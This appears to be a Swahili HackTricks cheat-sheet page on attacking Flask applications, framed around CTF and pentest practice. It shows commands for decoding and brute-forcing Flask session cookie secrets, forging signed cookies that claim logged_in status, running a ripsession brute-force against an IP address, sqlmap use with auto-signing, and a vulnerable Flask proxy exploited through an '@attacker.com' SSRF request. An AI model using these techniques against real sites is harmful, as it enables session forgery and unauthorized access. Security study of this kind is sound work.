Flask

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Angalia mpango wa usajili!

• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au fuata sisi kwenye Twitter 🐦 @hacktricks_live.

• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.

Tumia Trickest kujenga na kujiendesha kazi kwa urahisi kwa kutumia zana za jamii zilizoendelea zaidi duniani. Pata Ufikiaji Leo:

Automate OffSec, EASM, and Custom Security Processes | Trickest

Labda ikiwa unacheza CTF, programu ya Flask itahusiana na SSTI.

Cookies

Jina la kikao cha cookie la default ni session.

Decoder

Decoder ya cookie za Flask mtandaoni: https://www.kirsle.net/wizards/flask-session.cgi

Manual

Pata sehemu ya kwanza ya cookie hadi nukta ya kwanza na uifanye Base64 decode>

echo "ImhlbGxvIg" | base64 -d

Keki pia imesainiwa kwa kutumia nenosiri

Flask-Unsign

Zana ya mstari wa amri ya kupata, kufungua, kujaribu nguvu, na kuunda keki za kikao za programu ya Flask kwa kubashiri funguo za siri.

flask-unsignPyPI

pip3 install flask-unsign

Fasiri Keki

flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Kusaini

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Kusaini kwa kutumia toleo la zamani (old versions)

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Zana ya mistari ya amri ya kulazimisha tovuti kwa kutumia vidakuzi vilivyoundwa na flask-unsign.

GitHub - Tagvi/ripsession: A command line tool to brute-force websites using cookies crafted with flask-unsign.GitHub

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

SQLi katika Flask session cookie na SQLmap

Mfano huu unatumia chaguo la sqlmap eval ili kusaini kiotomatiki payloads za sqlmap kwa flask kwa kutumia siri inayojulikana.

Flask Proxy kwa SSRF

Katika andiko hili inaelezwa jinsi Flask inavyoruhusu ombi lianze na herufi "@":

GET @/ HTTP/1.1
Host: target.com
Connection: close

Katika mojawapo ya hali zifuatazo:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Could allow to introduce something like "@attacker.com" in order to cause a SSRF.

Tumia Trickest kujenga na kujiendesha kazi kwa urahisi zikiwa na zana za jamii za kisasa zaidi duniani. Pata Ufikiaji Leo:

Automate OffSec, EASM, and Custom Security Processes | Trickest

Jifunze & fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze & fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Angalia mpango wa usajili!

• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.

• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.